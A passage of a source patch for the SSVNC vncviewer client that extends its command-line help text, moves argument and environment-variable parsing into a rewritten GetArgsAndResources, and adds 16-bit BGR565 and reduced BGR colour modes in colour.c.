-+ " because most Linux, etc, systems X servers disable\n"
-+ " *all* Backingstore by default. To re-enable it put\n"
-+ "\n"
-+ " Option \"Backingstore\"\n"
-+ "\n"
-+ " in the Device section of /etc/X11/xorg.conf.\n"
-+ " In -bs mode with no X server backingstore, whenever an\n"
-+ " area of the screen is re-exposed it must go out to the\n"
-+ " VNC server to retrieve the pixels. This is too slow.\n"
-+ "\n"
-+ " In -nobs mode, memory is allocated by the viewer to\n"
-+ " provide its own backing of the main viewer window. This\n"
-+ " actually makes some activities faster (changes in large\n"
-+ " regions) but can appear to \"flash\" too much.\n"
-+ "\n"
-+ " -noshm Disable use of MIT shared memory extension (not recommended)\n"
-+ "\n"
-+ " -termchat Do the UltraVNC chat in the terminal vncviewer is in\n"
-+ " instead of in an independent window.\n"
-+ "\n"
-+ " -unixpw str Useful for logging into x11vnc in -unixpw mode. \"str\" is a\n"
-+ " string that allows many ways to enter the Unix Username\n"
-+ " and Unix Password. These characters: username, newline,\n"
-+ " password, newline are sent to the VNC server after any VNC\n"
-+ " authentication has taken place. Under x11vnc they are\n"
-+ " used for the -unixpw login. Other VNC servers could do\n"
-+ " something similar.\n"
-+ "\n"
-+ " You can also indicate \"str\" via the environment\n"
-+ " variable SSVNC_UNIXPW.\n"
-+ "\n"
-+ " Note that the Escape key is actually sent first to tell\n"
-+ " x11vnc to not echo the Unix Username back to the VNC\n"
-+ " viewer. Set SSVNC_UNIXPW_NOESC=1 to override this.\n"
-+ "\n"
-+ " If str is \".\", then you are prompted at the command line\n"
-+ " for the username and password in the normal way. If str is\n"
-+ " \"-\" the stdin is read via getpass(3) for username@password.\n"
-+ " Otherwise if str is a file, it is opened and the first line\n"
-+ " read is taken as the Unix username and the 2nd as the\n"
-+ " password. If str prefixed by \"rm:\" the file is removed\n"
-+ " after reading. Otherwise, if str has a \"@\" character,\n"
-+ " it is taken as username@password. Otherwise, the program\n"
-+ " exits with an error. Got all that?\n"
-+ "\n"
-+ " -repeater str This is for use with UltraVNC repeater proxy described\n"
-+ " here: http://www.uvnc.com/addons/repeater.html. The \"str\"\n"
-+ " is the ID string to be sent to the repeater. E.g. ID:1234\n"
-+ " It can also be the hostname and port or display of the VNC\n"
-+ " server, e.g. 12.34.56.78:0 or snoopy.com:1. Note that when\n"
-+ " using -repeater, the host:dpy on the cmdline is the repeater\n"
-+ " server, NOT the VNC server. The repeater will connect you.\n"
-+ "\n"
-+ " Example: vncviewer ... -repeater ID:3333 repeat.host:5900\n"
-+ " Example: vncviewer ... -repeater vhost:0 repeat.host:5900\n"
-+ "\n"
-+ " Use, e.g., '-repeater SCIII=ID:3210' if the repeater is a\n"
-+ " Single Click III (SSL) repeater (repeater_SSL.exe) and you\n"
-+ " are passing the SSL part of the connection through stunnel,\n"
-+ " socat, etc. This way the magic UltraVNC string 'testB'\n"
-+ " needed to work with the repeater is sent to it.\n"
-+ "\n"
-+ " -rfbversion str Set the advertised RFB version. E.g.: -rfbversion 3.6\n"
-+ " For some servers, e.g. UltraVNC this needs to be done.\n"
-+ "\n"
-+ " -ultradsm UltraVNC has symmetric private key encryption DSM plugins:\n"
-+ " http://www.uvnc.com/features/encryption.html. It is assumed\n"
-+ " you are using a unix program (e.g. our ultravnc_dsm_helper)\n"
-+ " to encrypt and decrypt the UltraVNC DSM stream. IN ADDITION\n"
-+ " TO THAT supply -ultradsm to tell THIS viewer to modify the\n"
-+ " RFB data sent so as to work with the UltraVNC Server. For\n"
-+ " some reason, each RFB msg type must be sent twice under DSM.\n"
-+ "\n"
-+ " -mslogon user Use Windows MS Logon to an UltraVNC server. Supply the\n"
-+ " username or \"1\" to be prompted. The default is to\n"
-+ " autodetect the UltraVNC MS Logon server and prompt for\n"
-+ " the username and password.\n"
-+ "\n"
-+ " IMPORTANT NOTE: The UltraVNC MS-Logon Diffie-Hellman\n"
-+ " exchange is very weak and can be brute forced to recover\n"
-+ " your username and password in a few seconds of CPU time.\n"
-+ " To be safe, be sure to use an additional encrypted tunnel\n"
-+ " (e.g. SSL or SSH) for the entire VNC session.\n"
-+ "\n"
-+ " -chatonly Try to be a client that only does UltraVNC text chat. This\n"
-+ " mode is used by x11vnc to present a chat window on the\n"
-+ " physical X11 console (i.e. chat with the person at the\n"
-+ " display).\n"
-+ "\n"
-+ " -env VAR=VALUE To save writing a shell script to set environment variables,\n"
-+ " specify as many as you need on the command line. For\n"
-+ " example, -env SSVNC_MULTIPLE_LISTEN=MAX:5 -env EDITOR=vi\n"
-+ "\n"
-+ " -noipv6 Disable all IPv6 sockets. Same as VNCVIEWER_NO_IPV6=1.\n"
-+ "\n"
-+ " -noipv4 Disable all IPv4 sockets. Same as VNCVIEWER_NO_IPV4=1.\n"
-+ "\n"
-+ " -printres Print out the Ssvnc X resources (appdefaults) and then exit\n"
-+ " You can save them to a file and customize them (e.g. the\n"
-+ " keybindings and Popup menu) Then point to the file via\n"
-+ " XENVIRONMENT or XAPPLRESDIR.\n"
-+ "\n"
-+ " -pipeline Like TurboVNC, request the next framebuffer update as soon\n"
-+ " as possible instead of waiting until the end of the current\n"
-+ " framebuffer update coming in. Helps 'pipeline' the updates.\n"
-+ " This is currently the default, use -nopipeline to disable.\n"
-+ "\n"
-+ " -appshare Enable features for use with x11vnc's -appshare mode where\n"
-+ " instead of sharing the full desktop only the application's\n"
-+ " windows are shared. Viewer multilisten mode is used to\n"
-+ " create the multiple windows: -multilisten is implied.\n"
-+ " See 'x11vnc -appshare -help' more information on the mode.\n"
-+ "\n"
-+ " Features enabled in the viewer under -appshare are:\n"
-+ " Minimum extra text in the title, auto -ycrop is disabled,\n"
-+ " x11vnc -remote_prefix X11VNC_APPSHARE_CMD: message channel,\n"
-+ " x11vnc initial window position hints. See also Escape Keys\n"
-+ " below for additional key and mouse bindings.\n"
-+ "\n"
-+ " -escape str This sets the 'Escape Keys' modifier sequence and enables\n"
-+ " escape keys mode. When the modifier keys escape sequence\n"
-+ " is held down, the next keystroke is interpreted locally\n"
-+ " to perform a special action instead of being sent to the\n"
-+ " remote VNC server.\n"
-+ "\n"
-+ " Use '-escape default' for the default modifier sequence.\n"
-+ " (Unix: Alt_L,Super_L and MacOSX: Control_L,Meta_L)\n"
-+ "\n"
-+ " Here are the 'Escape Keys: Help+Set' instructions from the Popup Menu:\n"
-+ "\n"
-+ " Escape Keys: Enter a comma separated list of modifier keys to be the\n"
-+ " 'escape sequence'. When these keys are held down, the next keystroke is\n"
-+ " interpreted locally to invoke a special action instead of being sent to\n"
-+ " the remote VNC server. In other words, a set of 'Hot Keys'.\n"
-+ " \n"
-+ " To enable or disable this, click on 'Escape Keys: Toggle' in the Popup.\n"
-+ " \n"
-+ " Here is the list of hot-key mappings to special actions:\n"
-+ " \n"
-+ " r: refresh desktop b: toggle bell c: toggle full-color\n"
-+ " f: file transfer x: x11cursor z: toggle Tight/ZRLE\n"
-+ " l: full screen g: graball e: escape keys dialog\n"
-+ " s: scale dialog +: scale up (=) -: scale down (_)\n"
-+ " t: text chat a: alphablend cursor\n"
-+ " V: toggle viewonly Q: quit viewer 1 2 3 4 5 6: UltraVNC scale 1/n\n"
-+ " \n"
-+ " Arrow keys: pan the viewport about 10%% for each keypress.\n"
-+ " PageUp / PageDown: pan the viewport by a screenful vertically.\n"
-+ " Home / End: pan the viewport by a screenful horizontally.\n"
-+ " KeyPad Arrow keys: pan the viewport by 1 pixel for each keypress.\n"
-+ " Dragging the Mouse with Button1 pressed also pans the viewport.\n"
-+ " Clicking Mouse Button3 brings up the Popup Menu.\n"
-+ " \n"
-+ " The above mappings are *always* active in ViewOnly mode, unless you set the\n"
-+ " Escape Keys value to 'never'.\n"
-+ " \n"
-+ " If the Escape Keys value below is set to 'default' then a default list of\n"
-+ " of modifier keys is used. For Unix it is: Alt_L,Super_L and for MacOSX it\n"
-+ " is Control_L,Meta_L. Note: the Super_L key usually has a Windows(TM) Flag\n"
-+ " on it. Also note the _L and _R mean the key is on the LEFT or RIGHT side\n"
-+ " of the keyboard.\n"
-+ " \n"
-+ " On Unix the default is Alt and Windows keys on Left side of keyboard.\n"
-+ " On MacOSX the default is Control and Command keys on Left side of keyboard.\n"
-+ " \n"
-+ " Example: Press and hold the Alt and Windows keys on the LEFT side of the\n"
-+ " keyboard and then press 'c' to toggle the full-color state. Or press 't'\n"
-+ " to toggle the ultravnc Text Chat window, etc.\n"
-+ " \n"
-+ " To use something besides the default, supply a comma separated list (or a\n"
-+ " single one) from: Shift_L Shift_R Control_L Control_R Alt_L Alt_R Meta_L\n"
-+ " Meta_R Super_L Super_R Hyper_L Hyper_R or Mode_switch.\n"
-+ "\n"
-+ "\n"
-+ " New Popup actions:\n"
-+ "\n"
-+ " ViewOnly: ~ -viewonly\n"
-+ " Disable Bell: ~ -nobell\n"
-+ " Cursor Shape: ~ -nocursorshape\n"
-+ " X11 Cursor: ~ -x11cursor\n"
-+ " Cursor Alphablend: ~ -alpha\n"
-+ " Toggle Tight/Hextile: ~ -encodings hextile...\n"
-+ " Toggle Tight/ZRLE: ~ -encodings zrle...\n"
-+ " Toggle ZRLE/ZYWRLE: ~ -encodings zywrle...\n"
-+ " Quality Level ~ -quality (both Tight and ZYWRLE)\n"
-+ " Compress Level ~ -compresslevel\n"
-+ " Disable JPEG: ~ -nojpeg (Tight)\n"
-+ " Pipeline Updates ~ -pipeline\n"
-+ "\n"
-+ " Full Color as many colors as local screen allows.\n"
-+ " Grey scale (16 & 8-bpp) ~ -grey, for low colors 16/8bpp modes only.\n"
-+ " 16 bit color (BGR565) ~ -16bpp / -bgr565\n"
-+ " 8 bit color (BGR233) ~ -bgr233\n"
-+ " 256 colors ~ -bgr233 default # of colors.\n"
-+ " 64 colors ~ -bgr222 / -use64\n"
-+ " 8 colors ~ -bgr111 / -use8\n"
-+ " Scale Viewer ~ -scale\n"
-+ " Escape Keys: Toggle ~ -escape\n"
-+ " Escape Keys: Help+Set ~ -escape\n"
-+ " Set Y Crop (y-max) ~ -ycrop\n"
-+ " Set Scrollbar Width ~ -sbwidth\n"
-+ " XGrabServer ~ -graball\n"
-+ "\n"
-+ " UltraVNC Extensions:\n"
-+ "\n"
-+ " Set 1/n Server Scale Ultravnc ext. Scale desktop by 1/n.\n"
-+ " Text Chat Ultravnc ext. Do Text Chat.\n"
-+ " File Transfer Ultravnc ext. File xfer via Java helper.\n"
-+ " Single Window Ultravnc ext. Grab and view a single window.\n"
-+ " (select then click on the window you want).\n"
-+ " Disable Remote Input Ultravnc ext. Try to prevent input and\n"
-+ " viewing of monitor at physical display.\n"
-+ "\n"
-+ " Note: the Ultravnc extensions only apply to servers that support\n"
-+ " them. x11vnc/libvncserver supports some of them.\n"
-+ "\n"
-+ " Send Clipboard not Primary ~ -sendclipboard\n"
-+ " Send Selection Every time ~ -sendalways\n"
-+ "\n"
-+ "\n", programName, programName, programName, programName, programName, programName, programName);
- exit(1);
- }
-+#if 0
-+ " -nooverride Do not apply OverrideRedirect in fullscreen mode.\n"
-+#endif
-
-
- /*
-@@ -343,77 +1548,247 @@
- * not already processed by XtVaAppInitialize(). It sets vncServerHost and
- * vncServerPort and all the fields in appData.
- */
-+extern int saw_appshare;
-
- void
- GetArgsAndResources(int argc, char **argv)
- {
-- int i;
-- char *vncServerName, *colonPos;
-- int len, portOffset;
-+ char *vncServerName = NULL, *colonPos, *bracketPos;
-+ int len, portOffset;
-+ int disp;
-
- /* Turn app resource specs into our appData structure for the rest of the
- program to use */
-
-- XtGetApplicationResources(toplevel, &appData, appDataResourceList,
-- XtNumber(appDataResourceList), 0, 0);
-+ XtGetApplicationResources(toplevel, &appData, appDataResourceList,
-+ XtNumber(appDataResourceList), 0, 0);
-+
-+ /*
-+ * we allow setting of some by env, to avoid clash with other
-+ * viewer's cmdlines (e.g. change viewer in SSVNC).
-+ */
-+ if (getenv("VNCVIEWER_ALPHABLEND")) {
-+ appData.useCursorAlpha = True;
-+ }
-+ if (getenv("VNCVIEWER_POPUP_FIX")) {
-+ if (getenv("NOPOPUPFIX")) {
-+ ;
-+ } else if (!strcmp(getenv("VNCVIEWER_POPUP_FIX"), "0")) {
-+ ;
-+ } else {
-+ appData.popupFix = True;
-+ }
-+ }
-+ if (getenv("VNCVIEWER_GRAB_SERVER")) {
-+ appData.grabAll = True;
-+ }
-+ if (getenv("VNCVIEWER_YCROP")) {
-+ int n = atoi(getenv("VNCVIEWER_YCROP"));
-+ if (n != 0) {
-+ appData.yCrop = n;
-+ }
-+ }
-+ if (getenv("VNCVIEWER_RFBVERSION") && strcmp(getenv("VNCVIEWER_RFBVERSION"), "")) {
-+ appData.rfbVersion = strdup(getenv("VNCVIEWER_RFBVERSION"));
-+ }
-+ if (getenv("VNCVIEWER_ENCODINGS") && strcmp(getenv("VNCVIEWER_ENCODINGS"), "")) {
-+ appData.encodingsString = strdup(getenv("VNCVIEWER_ENCODINGS"));
-+ }
-+ if (getenv("VNCVIEWER_NOBELL")) {
-+ appData.useBell = False;
-+ }
-+ if (getenv("VNCVIEWER_X11CURSOR")) {
-+ appData.useX11Cursor = True;
-+ }
-+ if (getenv("VNCVIEWER_RAWLOCAL")) {
-+ appData.useRawLocal = True;
-+ }
-+ if (getenv("VNCVIEWER_NOTTY") || getenv("SSVNC_VNCVIEWER_NOTTY")) {
-+ appData.notty = True;
-+ }
-+ if (getenv("VNCVIEWER_SBWIDTH")) {
-+ int n = atoi(getenv("VNCVIEWER_SBWIDTH"));
-+ if (n != 0) {
-+ appData.sbWidth = n;
-+ }
-+ }
-+ if (getenv("VNCVIEWER_ULTRADSM")) {
-+ appData.ultraDSM = True;
-+ }
-+ if (getenv("SSVNC_ULTRA_DSM") && strcmp(getenv("SSVNC_ULTRA_DSM"), "")) {
-+ appData.ultraDSM = True;
-+ }
-+ if (getenv("SSVNC_NO_ULTRA_DSM")) {
-+ appData.ultraDSM = False;
-+ }
-+ if (getenv("SSVNC_SCALE") && strcmp(getenv("SSVNC_SCALE"), "")) {
-+ if (appData.scale == NULL) {
-+ appData.scale = strdup(getenv("SSVNC_SCALE"));
-+ }
-+ }
-+ if (getenv("VNCVIEWER_ESCAPE") && strcmp(getenv("VNCVIEWER_ESCAPE"), "")) {
-+ if (appData.escapeKeys == NULL) {
-+ appData.escapeKeys = strdup(getenv("VNCVIEWER_ESCAPE"));
-+ }
-+ }
-+ if (saw_appshare) {
-+ appData.appShare = True;
-+ }
-+ if (appData.appShare && appData.escapeKeys == NULL) {
-+ appData.escapeKeys = strdup("default");
-+ }
-+ if (appData.escapeKeys != NULL) {
-+ appData.escapeActive = True;
-+ }
-+ if (getenv("VNCVIEWER_SEND_CLIPBOARD")) {
-+ appData.sendClipboard = True;
-+ }
-+ if (getenv("VNCVIEWER_SEND_ALWAYS")) {
-+ appData.sendAlways = True;
-+ }
-+ if (getenv("VNCVIEWER_RECV_TEXT")) {
-+ char *s = getenv("VNCVIEWER_RECV_TEXT");
-+ if (!strcasecmp(s, "clipboard")) {
-+ appData.recvText = strdup("clipboard");
-+ } else if (!strcasecmp(s, "primary")) {
-+ appData.recvText = strdup("primary");
-+ } else if (!strcasecmp(s, "both")) {
-+ appData.recvText = strdup("both");
-+ }
-+ }
-+ if (getenv("VNCVIEWER_PIPELINE_UPDATES")) {
-+ appData.pipelineUpdates = True;
-+ } else if (getenv("VNCVIEWER_NO_PIPELINE_UPDATES")) {
-+ appData.pipelineUpdates = False;
-+ }
-+
-+ if (getenv("VNCVIEWER_NO_IPV4")) {
-+ appData.noipv4 = True;
-+ }
-+ if (getenv("VNCVIEWER_NO_IPV6")) {
-+ appData.noipv6 = True;
-+ }
-+
-+ if (appData.useBGR233 && appData.useBGR565) {
-+ appData.useBGR233 = 0;
-+ }
-+
-+ if (getenv("SSVNC_ULTRA_FTP_JAR") == NULL && programName != NULL) {
-+ int len = strlen(programName) + 200;
-+ char *q, *jar = (char *) malloc(len);
-+
-+ sprintf(jar, "%s", programName);
-+ q = strrchr(jar, '/');
-+ if (q) {
-+ struct stat sb;
-+ *(q+1) = '\0';
-+ strcat(jar, "../lib/ssvnc/util/ultraftp.jar");
-+ if (stat(jar, &sb) == 0) {
-+ char *put = (char *) malloc(len);
-+ sprintf(put, "SSVNC_ULTRA_FTP_JAR=%s", jar);
-+ fprintf(stderr, "Setting: %s\n\n", put);
-+ putenv(put);
-+ } else {
-+ sprintf(jar, "%s", programName);
-+ q = strrchr(jar, '/');
-+ *(q+1) = '\0';
-+ strcat(jar, "util/ultraftp.jar");
-+ if (stat(jar, &sb) == 0) {
-+ char *put = (char *) malloc(len);
-+ sprintf(put, "SSVNC_ULTRA_FTP_JAR=%s", jar);
-+ fprintf(stderr, "Setting: %s\n\n", put);
-+ putenv(put);
-+ }
-+ }
-+ }
-+ free(jar);
-+ }
-+
-
- /* Add our actions to the actions table so they can be used in widget
- resource specs */
-
-- XtAppAddActions(appContext, actions, XtNumber(actions));
-+ XtAppAddActions(appContext, actions, XtNumber(actions));
-
- /* Check any remaining command-line arguments. If -listen was specified
- there should be none. Otherwise the only argument should be the VNC
- server name. If not given then pop up a dialog box and wait for the
- server name to be entered. */
-
-- if (listenSpecified) {
-- if (argc != 1) {
-- fprintf(stderr,"\n%s -listen: invalid command line argument: %s\n",
-- programName, argv[1]);
-- usage();
-- }
-- return;
-- }
--
-- if (argc == 1) {
-- vncServerName = DoServerDialog();
-- appData.passwordDialog = True;
-- } else if (argc != 2) {
-- usage();
-- } else {
-- vncServerName = argv[1];
--
-- if (!isatty(0))
-- appData.passwordDialog = True;
-- if (vncServerName[0] == '-')
-- usage();
-- }
--
-- if (strlen(vncServerName) > 255) {
-- fprintf(stderr,"VNC server name too long\n");
-- exit(1);
-- }
--
-- colonPos = strchr(vncServerName, ':');
-- if (colonPos == NULL) {
-- /* No colon -- use default port number */
-- strcpy(vncServerHost, vncServerName);
-- vncServerPort = SERVER_PORT_OFFSET;
-- } else {
-- memcpy(vncServerHost, vncServerName, colonPos - vncServerName);
-- vncServerHost[colonPos - vncServerName] = '\0';
-- len = strlen(colonPos + 1);
-- portOffset = SERVER_PORT_OFFSET;
-- if (colonPos[1] == ':') {
-- /* Two colons -- interpret as a port number */
-- colonPos++;
-- len--;
-- portOffset = 0;
-- }
-- if (!len || strspn(colonPos + 1, "0123456789") != len) {
-- usage();
-- }
-- vncServerPort = atoi(colonPos + 1) + portOffset;
-- }
-+ if (listenSpecified) {
-+ if (argc != 1) {
-+ fprintf(stderr,"\n%s -listen: invalid command line argument: %s\n",
-+ programName, argv[1]);
-+ usage();
-+ }
-+ return;
-+ }
-+
-+ if (argc == 1) {
-+ vncServerName = DoServerDialog();
-+ if (!use_tty()) {
-+ appData.passwordDialog = True;
-+ }
-+ } else if (argc != 2) {
-+ usage();
-+ } else {
-+ vncServerName = argv[1];
-+
-+ if (!use_tty()) {
-+ appData.passwordDialog = True;
-+ }
-+ if (vncServerName[0] == '-') {
-+ usage();
-+ }
-+ }
-+
-+ if (strlen(vncServerName) > 255) {
-+ fprintf(stderr,"VNC server name too long\n");
-+ exit(1);
-+ }
-+
-+ colonPos = strrchr(vncServerName, ':');
-+ bracketPos = strrchr(vncServerName, ']');
-+ if (strstr(vncServerName, "exec=") == vncServerName) {
-+ /* special exec-external-command case */
-+ strcpy(vncServerHost, vncServerName);
-+ vncServerPort = SERVER_PORT_OFFSET;
-+ } else if (strstr(vncServerName, "fd=") == vncServerName) {
-+ /* special exec-external-command case */
-+ strcpy(vncServerHost, vncServerName);
-+ vncServerPort = SERVER_PORT_OFFSET;
-+ } else if (colonPos == NULL) {
-+ /* No colon -- use default port number */
-+ strcpy(vncServerHost, vncServerName);
-+ vncServerPort = SERVER_PORT_OFFSET;
-+ } else if (bracketPos != NULL && colonPos < bracketPos) {
-+ strcpy(vncServerHost, vncServerName);
-+ vncServerPort = SERVER_PORT_OFFSET;
-+ } else {
-+ if (colonPos > vncServerName && *(colonPos - 1) == ':') {
-+ colonPos--;
-+ }
-+ memcpy(vncServerHost, vncServerName, colonPos - vncServerName);
-+ vncServerHost[colonPos - vncServerName] = '\0';
-+ len = strlen(colonPos + 1);
-+ portOffset = SERVER_PORT_OFFSET;
-+ if (colonPos[1] == ':') {
-+ /* Two colons -- interpret as a port number */
-+ colonPos++;
-+ len--;
-+ portOffset = 0;
-+ }
-+ if (!len || strspn(colonPos + 1, "0123456789") != (size_t) len) {
-+ usage();
-+ }
-+#if 0
-+ vncServerPort = atoi(colonPos + 1) + portOffset;
-+#else
-+ disp = atoi(colonPos + 1);
-+ if (portOffset != 0 && disp >= 100) {
-+ portOffset = 0;
-+ }
-+ vncServerPort = disp + portOffset;
-+#endif
-+ }
- }
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/colour.c vnc_unixsrc/vncviewer/colour.c
---- vnc_unixsrc.orig/vncviewer/colour.c 2002-04-30 09:07:31.000000000 -0400
-+++ vnc_unixsrc/vncviewer/colour.c 2010-02-25 22:02:19.000000000 -0500
-@@ -31,9 +31,12 @@
- #define BGR233_SIZE 256
- unsigned long BGR233ToPixel[BGR233_SIZE];
-
-+#define BGR565_SIZE 65536
-+unsigned long BGR565ToPixel[BGR565_SIZE];
-+
- Colormap cmap;
- Visual *vis;
--unsigned int visdepth, visbpp;
-+unsigned int visdepth, visbpp, isLSB;
- Bool allocColorFailed = False;
-
- static int nBGR233ColoursAllocated;
-@@ -45,6 +48,8 @@
- static void AllocateExactBGR233Colours();
- static Bool AllocateBGR233Colour(int r, int g, int b);
-
-+static void SetupBGR565Map(unsigned long red_mask, unsigned long green_mask, unsigned long blue_mask);
-+
-
- /*
- * SetVisualAndCmap() deals with the wonderful world of X "visuals" (which are
-@@ -97,6 +102,44 @@
- visbpp = GetBPPForDepth(visdepth);
- cmap = DefaultColormap(dpy,DefaultScreen(dpy));
-
-+ if (ImageByteOrder(dpy) == LSBFirst) {
-+ isLSB = 1;
-+ } else {
-+ isLSB = 0;
-+ }
-+ if (visbpp == 24) {
-+ if (!appData.useBGR233) {
-+ fprintf(stderr, "Warning: for 24bpp enabling -bgr565 -- Don't use FullColor!\n");
-+ appData.useBGR565 = True;
-+ } else {
-+ fprintf(stderr, "Warning: for 24bpp using -bgr233 -- Don't use FullColor!\n");
-+ }
-+ }
-+
-+ if (appData.useBGR565) {
-+ if (visdepth < 24 || visbpp < 24 || vis->class != TrueColor) {
-+ fprintf(stderr, "disabling -16bpp BGR565 on non-depth 24 machine\n");
-+ appData.useBGR565 = False;
-+ } else {
-+ myFormat.bitsPerPixel = 16;
-+ myFormat.depth = 16;
-+ myFormat.trueColour = 1;
-+ myFormat.bigEndian = 0;
-+ myFormat.redMax = 31;
-+ myFormat.greenMax = 63;
-+ myFormat.blueMax = 31;
-+ myFormat.redShift = 11;
-+ myFormat.greenShift = 5;
-+ myFormat.blueShift = 0;
-+
-+ fprintf(stderr, "Using default colormap and translating from BGR565 (65536 colors). Pixel format:\n");
-+ PrintPixelFormat(&myFormat);
-+
-+ SetupBGR565Map(vis->red_mask, vis->green_mask, vis->blue_mask);
-+ return;
-+ }
-+ }
-+
- if (!appData.useBGR233 && (vis->class == TrueColor)) {
-
- myFormat.bitsPerPixel = visbpp;
-@@ -116,21 +159,42 @@
- return;
- }
-
-- appData.useBGR233 = True;
-+ if (appData.useBGR233 == 0) {
-+ appData.useBGR233 = 256;
-+ }
-
- myFormat.bitsPerPixel = 8;
- myFormat.depth = 8;
- myFormat.trueColour = 1;
- myFormat.bigEndian = 0;
-- myFormat.redMax = 7;
-+ myFormat.redMax = 7;
- myFormat.greenMax = 7;
-- myFormat.blueMax = 3;
-- myFormat.redShift = 0;
-+ myFormat.blueMax = 3;
-+ myFormat.redShift = 0;
- myFormat.greenShift = 3;
-- myFormat.blueShift = 6;
-+ myFormat.blueShift = 6;
-+
-+ if (appData.useBGR233 == 64) {
-+ /* BGR222 */
-+ myFormat.redMax = 3;
-+ myFormat.greenMax = 3;
-+ myFormat.blueMax = 3;
-+ myFormat.redShift = 0;
-+ myFormat.greenShift = 2;
-+ myFormat.blueShift = 4;
-+ }
-+ if (appData.useBGR233 == 8) {
-+ /* BGR111 */
-+ myFormat.redMax = 2;
-+ myFormat.greenMax = 2;
-+ myFormat.blueMax = 2;
-+ myFormat.redShift = 0;
-+ myFormat.greenShift = 1;
-+ myFormat.blueShift = 2;
-+ }
-
- fprintf(stderr,
-- "Using default colormap and translating from BGR233. Pixel format:\n");
-+ "Using default colormap and translating from BGR233 (%d colors). Pixel format:\n", appData.useBGR233);
- PrintPixelFormat(&myFormat);
-
- SetupBGR233Map();
-@@ -282,8 +346,12 @@
- XFree(format);
-
- if (bpp != 1 && bpp != 8 && bpp != 16 && bpp != 32) {
-- fprintf(stderr,"Can't cope with %d bits-per-pixel. Sorry.\n", bpp);
-- exit(1);
-+ if (bpp == 24) {
-+ fprintf(stderr,"Warning: 24 bits-per-pixel may have problems...\n");
-+ } else {
-+ fprintf(stderr,"Can't cope with %d bits-per-pixel. Sorry.\n", bpp);
-+ exit(1);
-+ }
- }
-
- return bpp;
-@@ -374,7 +442,7 @@
- if (!exactBGR233[i] &&
- XAllocColor(dpy, cmap, &cmapEntry[i])) {
-
-- if (cmapEntry[i].pixel == i) {
-+ if ((long) cmapEntry[i].pixel == i) {
-
- shared[i] = True; /* probably shared */
-
-@@ -394,16 +462,43 @@
- for (r = 0; r < 8; r++) {
- for (g = 0; g < 8; g++) {
- for (b = 0; b < 4; b++) {
-- if (BGR233ToPixel[(b<<6) | (g<<3) | r] == INVALID_PIXEL) {
-+ int bs = 6, gs = 3, rs = 0;
-+ int bm = 3, gm = 7, rm = 7;
-+ if (appData.useBGR233 == 64) {
-+ bs = 4; gs = 2; rs = 0;
-+ bm = 3; gm = 3; rm = 3;
-+ }
-+ if (appData.useBGR233 == 8) {
-+ bs = 2; gs = 1; rs = 0;
-+ bm = 1; gm = 1; rm = 1;
-+ }
-+ if ((b > bm || g > gm || r > rm)) {
-+ continue;
-+ }
-+ if (BGR233ToPixel[(b<<bs) | (g<<gs) | (r<<rs)] == INVALID_PIXEL) {
-
- unsigned long minDistance = ULONG_MAX;
-
- for (i = 0; i < cmapSize; i++) {
- if (exactBGR233[i] || shared[i]) {
-- unsigned long distance
-- = (abs(cmapEntry[i].red - r * 65535 / 7)
-- + abs(cmapEntry[i].green - g * 65535 / 7)
-- + abs(cmapEntry[i].blue - b * 65535 / 3));
-+ unsigned long distance;
-+ int r1, g1, b1;
-+ if (appData.useGreyScale) {
-+ int ave;
-+ ave = (r + g + 2*b)/3;
-+ r1 = ave;
-+ g1 = ave;
-+ b1 = ave/2;
-+ } else {
-+ r1 = r;
-+ g1 = g;
-+ b1 = b;
-+ }
-+ distance
-+ = ( abs(cmapEntry[i].red - r1 * 65535 / rm)
-+ + abs(cmapEntry[i].green - g1 * 65535 / gm)
-+ + abs(cmapEntry[i].blue - b1 * 65535 / bm));
-+
-
- if (distance < minDistance) {
- minDistance = distance;
-@@ -412,7 +507,7 @@
- }
- }
-
-- BGR233ToPixel[(b<<6) | (g<<3) | r] = nearestPixel;
-+ BGR233ToPixel[(b<<bs) | (g<<gs) | (r<<rs)] = nearestPixel;
- if (shared[nearestPixel] && !usedAsNearest[nearestPixel])
- nSharedUsed++;
- usedAsNearest[nearestPixel] = True;
-@@ -433,6 +528,59 @@
- }
- }
-
-+static void
-+SetupBGR565Map(unsigned long red_mask, unsigned long green_mask, unsigned long blue_mask)
-+{
-+ int r, g, b;
-+ int r2, g2, b2;
-+ long idx;
-+ int cnt = 0;
-+ unsigned long pixel = 0;
-+
-+ for (r = 0; r < 32; r++) {
-+ for (g = 0; g < 64; g++) {
-+ for (b = 0; b < 32; b++) {
-+ int bs = 0, gs = 5, rs = 11;
-+ int bm = 31, gm = 63, rm = 31;
-+ if ((b > bm || g > gm || r > rm)) {
-+ continue;
-+ }
-+ r2 = (255 * r) / rm;
-+ g2 = (255 * g) / gm;
-+ b2 = (255 * b) / bm;
-+
-+ pixel = (r2 << 16) | (g2 << 8) | (b2 << 0);
-+ if (appData.useGreyScale) {
-+ int ave;
-+ int r1, g1, b1;
-+ ave = (2*r + g + 2*b)/3;
-+ r1 = ave/2;
-+ g1 = ave;
-+ b1 = ave/2;
-+
-+ r2 = (255 * r1) / rm;
-+ g2 = (255 * g1) / gm;
-+ b2 = (255 * b1) / bm;
-+
-+ pixel = (r2 << 16) | (g2 << 8) | (b2 << 0);
-+ }
-+
-+ if (red_mask == 0xff) {
-+ idx = (r<<bs) | (g<<gs) | (b<<rs);
-+ } else {
-+ idx = (b<<bs) | (g<<gs) | (r<<rs);
-+ }
-+ if (0) fprintf(stderr, "cnt: %5d idx: %lu pixel: 0x%08x\n", cnt, idx, (unsigned int) pixel);
-+ BGR565ToPixel[idx] = pixel;
-+ cnt++;
-+ }
-+ }
-+ }
-+ green_mask = 0;
-+ blue_mask = 0;
-+}
-+
-+
-
- /*
- * AllocateExactBGR233Colours() attempts to allocate each of the colours in the
-@@ -484,8 +632,13 @@
- ri = rn;
- for (gi = 0; gi < gn; gi++) {
- for (bi = 0; bi < bn; bi++) {
-- if (!AllocateBGR233Colour(rv[ri], gv[gi], bv[bi]))
-- return;
-+ if (appData.useBGR233 == 64 && (bv[bi] > 3 || gv[gi] > 3 || rv[ri] > 3)) {
-+ nBGR233ColoursAllocated++;
-+ } else if (appData.useBGR233 == 8 && (bv[bi] > 1 || gv[gi] > 1 || rv[ri] > 1)) {
-+ nBGR233ColoursAllocated++;
-+ } else if (!AllocateBGR233Colour(rv[ri], gv[gi], bv[bi])) {
-+ return;
-+ }
- }
- }
- rn++;
-@@ -496,8 +649,13 @@
- gi = gn;
- for (ri = 0; ri < rn; ri++) {
- for (bi = 0; bi < bn; bi++) {
